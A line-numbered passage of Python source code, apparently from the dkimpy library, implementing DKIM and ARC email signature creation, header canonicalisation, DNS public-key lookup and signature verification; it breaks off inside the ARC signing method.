DKIM errors.""" 143 | pass 144 | 145 | 146 | class InternalError(DKIMException): 147 | """Internal error in dkim module. Should never happen.""" 148 | pass 149 | 150 | 151 | class KeyFormatError(DKIMException): 152 | """Key format error while parsing an RSA public or private key.""" 153 | pass 154 | 155 | 156 | class MessageFormatError(DKIMException): 157 | """RFC822 message format error.""" 158 | pass 159 | 160 | 161 | class ParameterError(DKIMException): 162 | """Input parameter error.""" 163 | pass 164 | 165 | 166 | class ValidationError(DKIMException): 167 | """Validation error.""" 168 | pass 169 | 170 | 171 | class AuthresNotFoundError(DKIMException): 172 | """ Authres Package not installed, needed for ARC """ 173 | pass 174 | 175 | 176 | class NaClNotFoundError(DKIMException): 177 | """ Nacl package not installed, needed for ed25119 signatures """ 178 | pass 179 | 180 | 181 | class UnknownKeyTypeError(DKIMException): 182 | """ Key type (k tag) is not known (rsa/ed25519) """ 183 | 184 | 185 | def select_headers(headers, include_headers): 186 | """Select message header fields to be signed/verified. 187 | 188 | >>> h = [('from','biz'),('foo','bar'),('from','baz'),('subject','boring')] 189 | >>> i = ['from','subject','to','from'] 190 | >>> select_headers(h,i) 191 | [('from', 'baz'), ('subject', 'boring'), ('from', 'biz')] 192 | >>> h = [('From','biz'),('Foo','bar'),('Subject','Boring')] 193 | >>> i = ['from','subject','to','from'] 194 | >>> select_headers(h,i) 195 | [('From', 'biz'), ('Subject', 'Boring')] 196 | """ 197 | sign_headers = [] 198 | lastindex = {} 199 | for h in include_headers: 200 | assert h == h.lower() 201 | i = lastindex.get(h, len(headers)) 202 | while i > 0: 203 | i -= 1 204 | if h == headers[i][0].lower(): 205 | sign_headers.append(headers[i]) 206 | break 207 | lastindex[h] = i 208 | return sign_headers 209 | 210 | 211 | # FWS = ([*WSP CRLF] 1*WSP) / obs-FWS ; Folding white space [RFC5322] 212 | FWS = br'(?:(?:\s*\r?\n)?\s+)?' 213 | RE_BTAG = re.compile(br'([;\s]b'+FWS+br'=)(?:'+FWS+br'[a-zA-Z0-9+/=])*(?:\r?\n\Z)?') 214 | 215 | 216 | def hash_headers(hasher, canonicalize_headers, headers, include_headers, 217 | sigheader, sig): 218 | """Update hash for signed message header fields.""" 219 | sign_headers = select_headers(headers,include_headers) 220 | # The call to _remove() assumes that the signature b= only appears 221 | # once in the signature header 222 | cheaders = canonicalize_headers.canonicalize_headers( 223 | [(sigheader[0], RE_BTAG.sub(b'\\1',sigheader[1]))]) 224 | # the dkim sig is hashed with no trailing crlf, even if the 225 | # canonicalization algorithm would add one. 226 | for x,y in sign_headers + [(x, y.rstrip()) for x,y in cheaders]: 227 | hasher.update(x) 228 | hasher.update(b":") 229 | hasher.update(y) 230 | return sign_headers 231 | 232 | 233 | def hash_headers_ed25519(pk, canonicalize_headers, headers, include_headers, 234 | sigheader, sig): 235 | """Update hash for signed message header fields.""" 236 | hash_header = '' 237 | sign_headers = select_headers(headers,include_headers) 238 | # The call to _remove() assumes that the signature b= only appears 239 | # once in the signature header 240 | cheaders = canonicalize_headers.canonicalize_headers( 241 | [(sigheader[0], RE_BTAG.sub(b'\\1',sigheader[1]))]) 242 | # the dkim sig is hashed with no trailing crlf, even if the 243 | # canonicalization algorithm would add one. 244 | for x,y in sign_headers + [(x, y.rstrip()) for x,y in cheaders]: 245 | hash_header += x + y 246 | return sign_headers, hash_header 247 | 248 | 249 | def validate_signature_fields(sig, mandatory_fields=[b'v', b'a', b'b', b'bh', b'd', b'h', b's'], arc=False): 250 | """Validate DKIM or ARC Signature fields. 251 | Basic checks for presence and correct formatting of mandatory fields. 252 | Raises a ValidationError if checks fail, otherwise returns None. 253 | @param sig: A dict mapping field keys to values. 254 | @param mandatory_fields: A list of non-optional fields 255 | @param arc: flag to differentiate between dkim & arc 256 | """ 257 | if arc: 258 | hashes = ARC_HASH_ALGORITHMS 259 | else: 260 | hashes = HASH_ALGORITHMS 261 | for field in mandatory_fields: 262 | if field not in sig: 263 | raise ValidationError("missing %s=" % field) 264 | 265 | if b'a' in sig and not sig[b'a'] in hashes: 266 | raise ValidationError("unknown signature algorithm: %s" % sig[b'a']) 267 | 268 | if b'b' in sig: 269 | if re.match(br"[\s0-9A-Za-z+/]+=*$", sig[b'b']) is None: 270 | raise ValidationError("b= value is not valid base64 (%s)" % sig[b'b']) 271 | if len(re.sub(br"\s+", b"", sig[b'b'])) % 4 != 0: 272 | raise ValidationError("b= value is not valid base64 (%s)" % sig[b'b']) 273 | 274 | if b'bh' in sig: 275 | if re.match(br"[\s0-9A-Za-z+/]+=*$", sig[b'bh']) is None: 276 | raise ValidationError("bh= value is not valid base64 (%s)" % sig[b'bh']) 277 | if len(re.sub(br"\s+", b"", sig[b'bh'])) % 4 != 0: 278 | raise ValidationError("bh= value is not valid base64 (%s)" % sig[b'bh']) 279 | 280 | if b'cv' in sig and sig[b'cv'] not in (CV_Pass, CV_Fail, CV_None): 281 | raise ValidationError("cv= value is not valid (%s)" % sig[b'cv']) 282 | 283 | # Nasty hack to support both str and bytes... check for both the 284 | # character and integer values. 285 | if not arc and b'i' in sig and ( 286 | not sig[b'i'].lower().endswith(sig[b'd'].lower()) or 287 | sig[b'i'][-len(sig[b'd'])-1] not in ('@', '.', 64, 46)): 288 | raise ValidationError( 289 | "i= domain is not a subdomain of d= (i=%s d=%s)" % 290 | (sig[b'i'], sig[b'd'])) 291 | if b'l' in sig and re.match(br"\d{,76}$", sig[b'l']) is None: 292 | raise ValidationError( 293 | "l= value is not a decimal integer (%s)" % sig[b'l']) 294 | if b'q' in sig and sig[b'q'] != b"dns/txt": 295 | raise ValidationError("q= value is not dns/txt (%s)" % sig[b'q']) 296 | 297 | if b't' in sig: 298 | if re.match(br"\d+$", sig[b't']) is None: 299 | raise ValidationError( 300 | "t= value is not a decimal integer (%s)" % sig[b't']) 301 | now = int(time.time()) 302 | slop = 36000 # 10H leeway for mailers with inaccurate clocks 303 | t_sign = int(sig[b't']) 304 | if t_sign > now + slop: 305 | raise ValidationError("t= value is in the future (%s)" % sig[b't']) 306 | 307 | if b'v' in sig and sig[b'v'] != b"1": 308 | raise ValidationError("v= value is not 1 (%s)" % sig[b'v']) 309 | 310 | if b'x' in sig: 311 | if re.match(br"\d+$", sig[b'x']) is None: 312 | raise ValidationError( 313 | "x= value is not a decimal integer (%s)" % sig[b'x']) 314 | x_sign = int(sig[b'x']) 315 | now = int(time.time()) 316 | slop = 36000 # 10H leeway for mailers with inaccurate clocks 317 | if x_sign < now - slop: 318 | raise ValidationError( 319 | "x= value is past (%s)" % sig[b'x']) 320 | if x_sign < t_sign: 321 | raise ValidationError( 322 | "x= value is less than t= value (x=%s t=%s)" % 323 | (sig[b'x'], sig[b't'])) 324 | 325 | 326 | def rfc822_parse(message): 327 | """Parse a message in RFC822 format. 328 | 329 | @param message: The message in RFC822 format. Either CRLF or LF is an accepted line separator. 330 | @return: Returns a tuple of (headers, body) where headers is a list of (name, value) pairs. 331 | The body is a CRLF-separated string. 332 | """ 333 | headers = [] 334 | lines = re.split(b"\r?\n", message) 335 | i = 0 336 | while i < len(lines): 337 | if len(lines[i]) == 0: 338 | # End of headers, return what we have plus the body, excluding the blank line. 339 | i += 1 340 | break 341 | if lines[i][0] in ("\x09", "\x20", 0x09, 0x20): 342 | headers[-1][1] += lines[i]+b"\r\n" 343 | else: 344 | m = re.match(br"([\x21-\x7e]+?):", lines[i]) 345 | if m is not None: 346 | headers.append([m.group(1), lines[i][m.end(0):]+b"\r\n"]) 347 | elif lines[i].startswith(b"From "): 348 | pass 349 | else: 350 | raise MessageFormatError("Unexpected characters in RFC822 header: %s" % lines[i]) 351 | i += 1 352 | return (headers, b"\r\n".join(lines[i:])) 353 | 354 | 355 | def text(s): 356 | """Normalize bytes/str to str for python 2/3 compatible doctests. 357 | >>> text(b'foo') 358 | 'foo' 359 | >>> text(u'foo') 360 | 'foo' 361 | >>> text('foo') 362 | 'foo' 363 | """ 364 | if type(s) is str: return s 365 | s = s.decode('ascii') 366 | if type(s) is str: return s 367 | return s.encode('ascii') 368 | 369 | 370 | def fold(header, namelen=0, linesep=b'\r\n'): 371 | """Fold a header line into multiple crlf-separated lines of text at column 372 | 72. The crlf does not count for line length. 373 | 374 | >>> text(fold(b'foo')) 375 | 'foo' 376 | >>> text(fold(b'foo '+b'foo'*24).splitlines()[0]) 377 | 'foo ' 378 | >>> text(fold(b'foo'*25).splitlines()[-1]) 379 | ' foo' 380 | >>> len(fold(b'foo'*25).splitlines()[0]) 381 | 72 382 | >>> text(fold(b'x')) 383 | 'x' 384 | >>> text(fold(b'xyz'*24)) 385 | 'xyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyz' 386 | >>> len(fold(b'xyz'*48)) 387 | 150 388 | """ 389 | # 72 is the max line length we actually want, but the header field name 390 | # has to fit in the first line too (See Debian Bug #863690). 391 | maxleng = 72 - namelen 392 | if len(header) <= maxleng: 393 | return header 394 | if len(header) - header.rfind(b"\r\n") == 2 and len(header) <= maxleng +2: 395 | return header 396 | i = header.rfind(b"\r\n ") 397 | if i == -1: 398 | pre = b"" 399 | else: 400 | i += 3 401 | pre = header[:i] 402 | header = header[i:] 403 | while len(header) > maxleng: 404 | i = header[:maxleng].rfind(b" ") 405 | if i == -1: 406 | j = maxleng 407 | pre += header[:j] + linesep + b" " 408 | else: 409 | j = i + 1 410 | pre += header[:i] + linesep + b" " 411 | header = header[j:] 412 | maxleng = 71 413 | if len(header) > 2: 414 | return pre + header 415 | else: 416 | if pre[0] == b' ': 417 | return pre[:-1] 418 | else: 419 | return pre + header 420 | 421 | 422 | def load_pk_from_dns(name, dnsfunc=get_txt): 423 | s = dnsfunc(name) 424 | if not s: 425 | raise KeyFormatError("missing public key: %s"%name) 426 | try: 427 | if type(s) is str: 428 | s = s.encode('ascii') 429 | pub = parse_tag_value(s) 430 | except InvalidTagValueList as e: 431 | raise KeyFormatError(e) 432 | try: 433 | if pub[b'v'] != b'DKIM1': 434 | raise KeyFormatError("bad version") 435 | except KeyError as e: 436 | # Version not required in key record: RFC 6376 3.6.1 437 | pass 438 | try: 439 | if pub[b'k'] == b'ed25519': 440 | pk = nacl.signing.VerifyKey(pub[b'p'], encoder=nacl.encoding.Base64Encoder) 441 | keysize = 256 442 | ktag = b'ed25519' 443 | except KeyError: 444 | pub[b'k'] = b'rsa' 445 | if pub[b'k'] == b'rsa': 446 | try: 447 | pk = parse_public_key(base64.b64decode(pub[b'p'])) 448 | keysize = bitsize(pk['modulus']) 449 | except KeyError: 450 | raise KeyFormatError("incomplete public key: %s" % s) 451 | except (TypeError,UnparsableKeyError) as e: 452 | raise KeyFormatError("could not parse public key (%s): %s" % (pub[b'p'],e)) 453 | ktag = b'rsa' 454 | if pub[b'k'] != b'rsa' and pub[b'k'] != b'ed25519': 455 | raise KeyFormatError('unknown algorithm in k= tag: {0}'.format(pub[b'k'])) 456 | return pk, keysize, ktag 457 | 458 | 459 | #: Abstract base class for holding messages and options during DKIM/ARC signing and verification. 460 | class DomainSigner(object): 461 | # NOTE - the first 2 indentation levels are 2 instead of 4 462 | # to minimize changed lines from the function only version. 463 | 464 | #: @param message: an RFC822 formatted message to be signed or verified 465 | #: (with either \\n or \\r\\n line endings) 466 | #: @param logger: a logger to which debug info will be written (default None) 467 | #: @param signature_algorithm: the signing algorithm to use when signing 468 | #: @param debug_content: log headers and body after canonicalization (default False) 469 | #: @param linesep: use this line seperator for folding the headers 470 | def __init__(self,message=None,logger=None,signature_algorithm=b'rsa-sha256', 471 | minkey=1024, linesep=b'\r\n', debug_content=False): 472 | self.set_message(message) 473 | if logger is None: 474 | logger = get_default_logger() 475 | self.logger = logger 476 | self.debug_content = debug_content and logger.isEnabledFor(logging.DEBUG) 477 | if signature_algorithm not in HASH_ALGORITHMS: 478 | raise ParameterError( 479 | "Unsupported signature algorithm: "+signature_algorithm) 480 | self.signature_algorithm = signature_algorithm 481 | #: Header fields which should be signed. Default as suggested by RFC6376 482 | self.should_sign = set(DKIM.SHOULD) 483 | #: Header fields which should not be signed. The default is from RFC6376. 484 | #: Attempting to sign these headers results in an exception. 485 | #: If it is necessary to sign one of these, it must be removed 486 | #: from this list first. 487 | self.should_not_sign = set(DKIM.SHOULD_NOT) 488 | #: Header fields to sign an extra time to prevent additions. 489 | self.frozen_sign = set(DKIM.FROZEN) 490 | #: Minimum public key size. Shorter keys raise KeyFormatError. The 491 | #: default is 1024 492 | self.minkey = minkey 493 | # use this line seperator for output 494 | self.linesep = linesep 495 | 496 | 497 | #: Header fields to protect from additions by default. 498 | #: 499 | #: The short list below is the result more of instinct than logic. 500 | #: @since: 0.5 501 | FROZEN = (b'from',) 502 | 503 | #: The rfc6376 recommended header fields to sign 504 | #: @since: 0.5 505 | SHOULD = ( 506 | b'from', b'sender', b'reply-to', b'subject', b'date', b'message-id', b'to', b'cc', 507 | b'mime-version', b'content-type', b'content-transfer-encoding', 508 | b'content-id', b'content-description', b'resent-date', b'resent-from', 509 | b'resent-sender', b'resent-to', b'resent-cc', b'resent-message-id', 510 | b'in-reply-to', b'references', b'list-id', b'list-help', b'list-unsubscribe', 511 | b'list-subscribe', b'list-post', b'list-owner', b'list-archive' 512 | ) 513 | 514 | #: The rfc6376 recommended header fields not to sign. 515 | #: @since: 0.5 516 | SHOULD_NOT = ( 517 | b'return-path',b'received',b'comments',b'keywords',b'bcc',b'resent-bcc', 518 | b'dkim-signature' 519 | ) 520 | 521 | # Doesn't seem to be used (GS) 522 | #: The U{RFC5322} 523 | #: complete list of singleton headers (which should 524 | #: appear at most once). This can be used for a "paranoid" or 525 | #: "strict" signing mode. 526 | #: Bcc in this list is in the SHOULD NOT sign list, the rest could 527 | #: be in the default FROZEN list, but that could also make signatures 528 | #: more fragile than necessary. 529 | #: @since: 0.5 530 | RFC5322_SINGLETON = (b'date',b'from',b'sender',b'reply-to',b'to',b'cc',b'bcc', 531 | b'message-id',b'in-reply-to',b'references') 532 | 533 | def add_frozen(self,s): 534 | """ Add headers not in should_not_sign to frozen_sign. 535 | @param s: list of headers to add to frozen_sign 536 | @since: 0.5 537 | 538 | >>> dkim = DKIM() 539 | >>> dkim.add_frozen(DKIM.RFC5322_SINGLETON) 540 | >>> [text(x) for x in sorted(dkim.frozen_sign)] 541 | ['cc', 'date', 'from', 'in-reply-to', 'message-id', 'references', 'reply-to', 'sender', 'to'] 542 | >>> dkim2 = DKIM() 543 | >>> dkim2.add_frozen((b'date',b'subject')) 544 | >>> [text(x) for x in sorted(dkim2.frozen_sign)] 545 | ['date', 'from', 'subject'] 546 | """ 547 | self.frozen_sign.update(x.lower() for x in s 548 | if x.lower() not in self.should_not_sign) 549 | 550 | 551 | def add_should_not(self,s): 552 | """ Add headers not in should_not_sign to frozen_sign. 553 | @param s: list of headers to add to frozen_sign 554 | @since: 0.9 555 | 556 | >>> dkim = DKIM() 557 | >>> dkim.add_should_not(DKIM.RFC5322_SINGLETON) 558 | >>> [text(x) for x in sorted(dkim.should_not_sign)] 559 | ['bcc', 'cc', 'comments', 'date', 'dkim-signature', 'in-reply-to', 'keywords', 'message-id', 'received', 'references', 'reply-to', 'resent-bcc', 'return-path', 'sender', 'to'] 560 | """ 561 | self.should_not_sign.update(x.lower() for x in s 562 | if x.lower() not in self.frozen_sign) 563 | 564 | 565 | #: Load a new message to be signed or verified. 566 | #: @param message: an RFC822 formatted message to be signed or verified 567 | #: (with either \\n or \\r\\n line endings) 568 | #: @since: 0.5 569 | def set_message(self,message): 570 | if message: 571 | self.headers, self.body = rfc822_parse(message) 572 | else: 573 | self.headers, self.body = [],'' 574 | #: The DKIM signing domain last signed or verified. 575 | self.domain = None 576 | #: The DKIM key selector last signed or verified. 577 | self.selector = 'default' 578 | #: Signature parameters of last sign or verify. To parse 579 | #: a DKIM-Signature header field that you have in hand, 580 | #: use L{dkim.util.parse_tag_value}. 581 | self.signature_fields = {} 582 | #: The list of headers last signed or verified. Each header 583 | #: is a name,value tuple. FIXME: The headers are canonicalized. 584 | #: This could be more useful as original headers. 585 | self.signed_headers = [] 586 | #: The public key size last verified. 587 | self.keysize = 0 588 | 589 | def default_sign_headers(self): 590 | """Return the default list of headers to sign: those in should_sign or 591 | frozen_sign, with those in frozen_sign signed an extra time to prevent 592 | additions. 593 | @since: 0.5""" 594 | hset = self.should_sign | self.frozen_sign 595 | include_headers = [ x for x,y in self.headers 596 | if x.lower() in hset ] 597 | return include_headers + [ x for x in include_headers 598 | if x.lower() in self.frozen_sign] 599 | 600 | def all_sign_headers(self): 601 | """Return header list of all existing headers not in should_not_sign. 602 | @since: 0.5""" 603 | return [x for x,y in self.headers if x.lower() not in self.should_not_sign] 604 | 605 | 606 | # Abstract helper method to generate a tag=value header from a list of fields 607 | #: @param fields: A list of key value tuples to be included in the header 608 | #: @param include_headers: A list message headers to include in the b= signature computation 609 | #: @param canon_policy: A canonicialization policy for b= & bh= 610 | #: @param header_name: The name of the generated header 611 | #: @param pk: The private key used for signature generation 612 | #: @param standardize: Flag to enable 'standard' header syntax 613 | def gen_header(self, fields, include_headers, canon_policy, header_name, pk, standardize=False): 614 | if standardize: 615 | lower = [(x,y.lower().replace(b' ', b'')) for (x,y) in fields if x != b'bh'] 616 | reg = [(x,y.replace(b' ', b'')) for (x,y) in fields if x == b'bh'] 617 | fields = lower + reg 618 | fields = sorted(fields, key=(lambda x: x[0])) 619 | 620 | header_value = b"; ".join(b"=".join(x) for x in fields) 621 | if not standardize: 622 | header_value = fold(header_value, namelen=len(header_name), linesep=b'\r\n') 623 | header_value = RE_BTAG.sub(b'\\1',header_value) 624 | header = (header_name, b' ' + header_value) 625 | h = HashThrough(self.hasher(), self.debug_content) 626 | sig = dict(fields) 627 | 628 | headers = canon_policy.canonicalize_headers(self.headers) 629 | self.signed_headers = hash_headers( 630 | h, canon_policy, headers, include_headers, header, sig) 631 | if self.debug_content: 632 | self.logger.debug("sign %s headers: %r" % (header_name, h.hashed())) 633 | 634 | if self.signature_algorithm == b'rsa-sha256' or self.signature_algorithm == b'rsa-sha1': 635 | try: 636 | sig2 = RSASSA_PKCS1_v1_5_sign(h, pk) 637 | except DigestTooLargeError: 638 | raise ParameterError("digest too large for modulus") 639 | elif self.signature_algorithm == b'ed25519-sha256': 640 | sigobj = pk.sign(h.digest()) 641 | sig2 = sigobj.signature 642 | # Folding b= is explicity allowed, but yahoo and live.com are broken 643 | #header_value += base64.b64encode(bytes(sig2)) 644 | # Instead of leaving unfolded (which lets an MTA fold it later and still 645 | # breaks yahoo and live.com), we change the default signing mode to 646 | # relaxed/simple (for broken receivers), and fold now. 647 | idx = [i for i in range(len(fields)) if fields[i][0] == b'b'][0] 648 | fields[idx] = (b'b', base64.b64encode(bytes(sig2))) 649 | header_value = b"; ".join(b"=".join(x) for x in fields) + self.linesep 650 | 651 | if not standardize: 652 | header_value = fold(header_value, namelen=len(header_name), linesep=self.linesep) 653 | 654 | return header_value 655 | 656 | # Abstract helper method to verify a signed header 657 | #: @param sig: List of (key, value) tuples containing tag=values of the header 658 | #: @param include_headers: headers to validate b= signature against 659 | #: @param sig_header: (header_name, header_value) 660 | #: @param dnsfunc: interface to dns 661 | def verify_sig(self, sig, include_headers, sig_header, dnsfunc): 662 | name = sig[b's'] + b"._domainkey." + sig[b'd'] + b"." 663 | try: 664 | pk, self.keysize, ktag = load_pk_from_dns(name, dnsfunc) 665 | except KeyFormatError as e: 666 | self.logger.error("%s" % e) 667 | return False 668 | 669 | try: 670 | canon_policy = CanonicalizationPolicy.from_c_value(sig.get(b'c', b'simple/simple')) 671 | except InvalidCanonicalizationPolicyError as e: 672 | raise MessageFormatError("invalid c= value: %s" % e.args[0]) 673 | 674 | hasher = HASH_ALGORITHMS[sig[b'a']] 675 | 676 | # validate body if present 677 | if b'bh' in sig: 678 | h = HashThrough(hasher(), self.debug_content) 679 | 680 | body = canon_policy.canonicalize_body(self.body) 681 | if b'l' in sig: 682 | body = body[:int(sig[b'l'])] 683 | h.update(body) 684 | if self.debug_content: 685 | self.logger.debug("body hashed: %r" % h.hashed()) 686 | bodyhash = h.digest() 687 | 688 | self.logger.debug("bh: %s" % base64.b64encode(bodyhash)) 689 | try: 690 | bh = base64.b64decode(re.sub(br"\s+", b"", sig[b'bh'])) 691 | except TypeError as e: 692 | raise MessageFormatError(str(e)) 693 | if bodyhash != bh: 694 | raise ValidationError( 695 | "body hash mismatch (got %s, expected %s)" % 696 | (base64.b64encode(bodyhash), sig[b'bh'])) 697 | 698 | # address bug#644046 by including any additional From header 699 | # fields when verifying. Since there should be only one From header, 700 | # this shouldn't break any legitimate messages. This could be 701 | # generalized to check for extras of other singleton headers. 702 | if b'from' in include_headers: 703 | include_headers.append(b'from') 704 | h = HashThrough(hasher(), self.debug_content) 705 | 706 | headers = canon_policy.canonicalize_headers(self.headers) 707 | self.signed_headers = hash_headers( 708 | h, canon_policy, headers, include_headers, sig_header, sig) 709 | if self.debug_content: 710 | self.logger.debug("signed for %s: %r" % (sig_header[0], h.hashed())) 711 | signature = base64.b64decode(re.sub(br"\s+", b"", sig[b'b'])) 712 | if ktag == b'rsa': 713 | try: 714 | res = RSASSA_PKCS1_v1_5_verify(h, signature, pk) 715 | self.logger.debug("%s valid: %s" % (sig_header[0], res)) 716 | if res and self.keysize < self.minkey: 717 | raise KeyFormatError("public key too small: %d" % self.keysize) 718 | return res 719 | except (TypeError,DigestTooLargeError) as e: 720 | raise KeyFormatError("digest too large for modulus: %s"%e) 721 | elif ktag == b'ed25519': 722 | try: 723 | pk.verify(h.digest(), signature) 724 | self.logger.debug("%s valid" % (sig_header[0])) 725 | return True 726 | except (nacl.exceptions.BadSignatureError) as e: 727 | return False 728 | else: 729 | raise UnknownKeyTypeError(ktag) 730 | 731 | 732 | #: Hold messages and options during DKIM signing and verification. 733 | class DKIM(DomainSigner): 734 | #: Sign an RFC822 message and return the DKIM-Signature header line. 735 | #: 736 | #: The include_headers option gives full control over which header fields 737 | #: are signed. Note that signing a header field that doesn't exist prevents 738 | #: that field from being added without breaking the signature. Repeated 739 | #: fields (such as Received) can be signed multiple times. Instances 740 | #: of the field are signed from bottom to top. Signing a header field more 741 | #: times than are currently present prevents additional instances 742 | #: from being added without breaking the signature. 743 | #: 744 | #: The length option allows the message body to be appended to by MTAs 745 | #: enroute (e.g. mailing lists that append unsubscribe information) 746 | #: without breaking the signature. 747 | #: 748 | #: The default include_headers for this method differs from the backward 749 | #: compatible sign function, which signs all headers not 750 | #: in should_not_sign. The default list for this method can be modified 751 | #: by tweaking should_sign and frozen_sign (or even should_not_sign). 752 | #: It is only necessary to pass an include_headers list when precise control 753 | #: is needed. 754 | #: 755 | #: @param selector: the DKIM selector value for the signature 756 | #: @param domain: the DKIM domain value for the signature 757 | #: @param privkey: a PKCS#1 private key in base64-encoded text form 758 | #: @param identity: the DKIM identity value for the signature 759 | #: (default "@"+domain) 760 | #: @param canonicalize: the canonicalization algorithms to use 761 | #: (default (Simple, Simple)) 762 | #: @param include_headers: a list of strings indicating which headers 763 | #: are to be signed (default rfc4871 recommended headers) 764 | #: @param length: true if the l= tag should be included to indicate 765 | #: body length signed (default False). 766 | #: @return: DKIM-Signature header field terminated by '\r\n' 767 | #: @raise DKIMException: when the message, include_headers, or key are badly 768 | #: formed. 769 | def sign(self, selector, domain, privkey, signature_algorithm=None, identity=None, 770 | canonicalize=(b'relaxed',b'simple'), include_headers=None, length=False): 771 | if signature_algorithm: 772 | self.signature_algorithm = signature_algorithm 773 | if self.signature_algorithm == b'rsa-sha256' or self.signature_algorithm == b'rsa-sha1': 774 | try: 775 | pk = parse_pem_private_key(privkey) 776 | except UnparsableKeyError as e: 777 | raise KeyFormatError(str(e)) 778 | elif self.signature_algorithm == b'ed25519-sha256': 779 | pk = nacl.signing.SigningKey(privkey, encoder=nacl.encoding.Base64Encoder) 780 | 781 | if identity is not None and not identity.endswith(domain): 782 | raise ParameterError("identity must end with domain") 783 | 784 | canon_policy = CanonicalizationPolicy.from_c_value(b'/'.join(canonicalize)) 785 | 786 | if include_headers is None: 787 | include_headers = self.default_sign_headers() 788 | try: 789 | include_headers = [bytes(x, 'utf-8') for x in include_headers] 790 | except TypeError: 791 | # TypeError means it's already bytes and we're good or we're in 792 | # Python 2 and we don't care. See LP: #1776775. 793 | pass 794 | 795 | include_headers = tuple([x.lower() for x in include_headers]) 796 | # record what verify should extract 797 | self.include_headers = include_headers 798 | 799 | # rfc4871 says FROM is required 800 | if b'from' not in include_headers: 801 | raise ParameterError("The From header field MUST be signed") 802 | 803 | # raise exception for any SHOULD_NOT headers, call can modify 804 | # SHOULD_NOT if really needed. 805 | for x in set(include_headers).intersection(self.should_not_sign): 806 | raise ParameterError("The %s header field SHOULD NOT be signed"%x) 807 | 808 | body = canon_policy.canonicalize_body(self.body) 809 | 810 | self.hasher = HASH_ALGORITHMS[self.signature_algorithm] 811 | h = self.hasher() 812 | h.update(body) 813 | bodyhash = base64.b64encode(h.digest()) 814 | 815 | sigfields = [x for x in [ 816 | (b'v', b"1"), 817 | (b'a', self.signature_algorithm), 818 | (b'c', canon_policy.to_c_value()), 819 | (b'd', domain), 820 | (b'i', identity or b"@"+domain), 821 | length and (b'l', str(len(body)).encode('ascii')), 822 | (b'q', b"dns/txt"), 823 | (b's', selector), 824 | (b't', str(int(time.time())).encode('ascii')), 825 | (b'h', b" : ".join(include_headers)), 826 | (b'bh', bodyhash), 827 | # Force b= to fold onto it's own line so that refolding after 828 | # adding sig doesn't change whitespace for previous tags. 829 | (b'b', b'0'*60), 830 | ] if x] 831 | 832 | res = self.gen_header(sigfields, include_headers, canon_policy, 833 | b"DKIM-Signature", pk) 834 | 835 | self.domain = domain 836 | self.selector = selector 837 | self.signature_fields = dict(sigfields) 838 | return b'DKIM-Signature: ' + res 839 | 840 | #: Verify a DKIM signature. 841 | #: @type idx: int 842 | #: @param idx: which signature to verify. The first (topmost) signature is 0. 843 | #: @type dnsfunc: callable 844 | #: @param dnsfunc: an option function to lookup TXT resource records 845 | #: for a DNS domain. The default uses dnspython or pydns. 846 | #: @return: True if signature verifies or False otherwise 847 | #: @raise DKIMException: when the message, signature, or key are badly formed 848 | def verify(self,idx=0,dnsfunc=get_txt): 849 | sigheaders = [(x,y) for x,y in self.headers if x.lower() == b"dkim-signature"] 850 | if len(sigheaders) <= idx: 851 | return False 852 | 853 | # By default, we validate the first DKIM-Signature line found. 854 | try: 855 | sig = parse_tag_value(sigheaders[idx][1]) 856 | self.signature_fields = sig 857 | except InvalidTagValueList as e: 858 | raise MessageFormatError(e) 859 | 860 | self.logger.debug("sig: %r" % sig) 861 | 862 | validate_signature_fields(sig) 863 | self.domain = sig[b'd'] 864 | self.selector = sig[b's'] 865 | 866 | include_headers = [x.lower() for x in re.split(br"\s*:\s*", sig[b'h'])] 867 | self.include_headers = tuple(include_headers) 868 | 869 | return self.verify_sig(sig, include_headers, sigheaders[idx], dnsfunc) 870 | 871 | 872 | #: Hold messages and options during ARC signing and verification. 873 | class ARC(DomainSigner): 874 | #: Header fields used by ARC 875 | ARC_HEADERS = (b'arc-seal', b'arc-message-signature', b'arc-authentication-results') 876 | 877 | #: Regex to extract i= value from ARC headers 878 | INSTANCE_RE = re.compile(br'[\s;]?i\s*=\s*(\d+)', re.MULTILINE | re.IGNORECASE) 879 | 880 | def sorted_arc_headers(self): 881 | headers = [] 882 | # Use relaxed canonicalization to unfold and clean up headers 883 | relaxed_headers = RelaxedCanonicalization.canonicalize_headers(self.headers) 884 | for x,y in relaxed_headers: 885 | if x.lower() in ARC.ARC_HEADERS: 886 | m = ARC.INSTANCE_RE.search(y) 887 | if m is not None: 888 | try: 889 | i = int(m.group(1)) 890 | headers.append((i, (x, y))) 891 | except ValueError: 892 | self.logger.debug("invalid instance number %s: '%s: %s'" % (m.group(1), x, y)) 893 | else: 894 | self.logger.debug("not instance number: '%s: %s'" % (x, y)) 895 | 896 | if len(headers) == 0: 897 | return 0, [] 898 | 899 | def arc_header_key(a): 900 | return [a[0], a[1][0].lower(), a[1][1].lower()] 901 | 902 | headers = sorted(headers, key=arc_header_key) 903 | headers.reverse() 904 | return headers[0][0], headers 905 | 906 | #: Sign an RFC822 message and return the list of ARC set header lines 907 | #: 908 | #: The include_headers option gives full control over which header fields 909 | #: are signed for the ARC-Message-Signature. Note that signing a header 910 | #: field that doesn't exist prevents 911 | #: that field from being added without breaking the signature. Repeated 912 | #: fields (such as Received) can be signed multiple times. Instances 913 | #: of the field are signed from bottom to top. Signing a header field more 914 | #: times than are currently present prevents additional instances 915 | #: from being added without breaking the signature. 916 | #: 917 | #: The default include_headers for this method differs from the backward 918 | #: compatible sign function, which signs all headers not 919 | #: in should_not_sign. The default list for this method can be modified 920 | #: by tweaking should_sign and frozen_sign (or even should_not_sign). 921 | #: It is only necessary to pass an include_headers list when precise control 922 | #: is needed. 923 | #: 924 | #: @param selector: the DKIM selector value for the signature 925 | #: @param domain: the DKIM domain value for the signature 926 | #: @param privkey: a PKCS#1 private key in base64-encoded text form 927 | #: @param srv_id: an srv_id for identitfying AR headers to sign & extract cv from 928 | #: @param include_headers: a list of strings indicating which headers 929 | #: are to be signed (default rfc4871 recommended headers) 930 | #: @return: list of ARC set header fields 931 | #: @raise DKIMException: when the message, include_headers, or key are badly 932 | #: formed. 933 | def sign(self, selector, domain, privkey, srv_id, include_headers=None, 934 | timestamp=None, standardize=False): 935 | 936 | INSTANCE_LIMIT = 50 # Maximum allowed i= value 937 | self.add_should_not(('Authentication-Results',)) 938 | # check if authres has been imported 939 | try: 940 | AuthenticationResultsHeader 941 | except: 942 | self.logger.debug("authres package not installed") 943 | raise AuthresNotFoundError 944 | 945 | try: 946 | pk = parse_pem_private_key(privkey) 947 | except 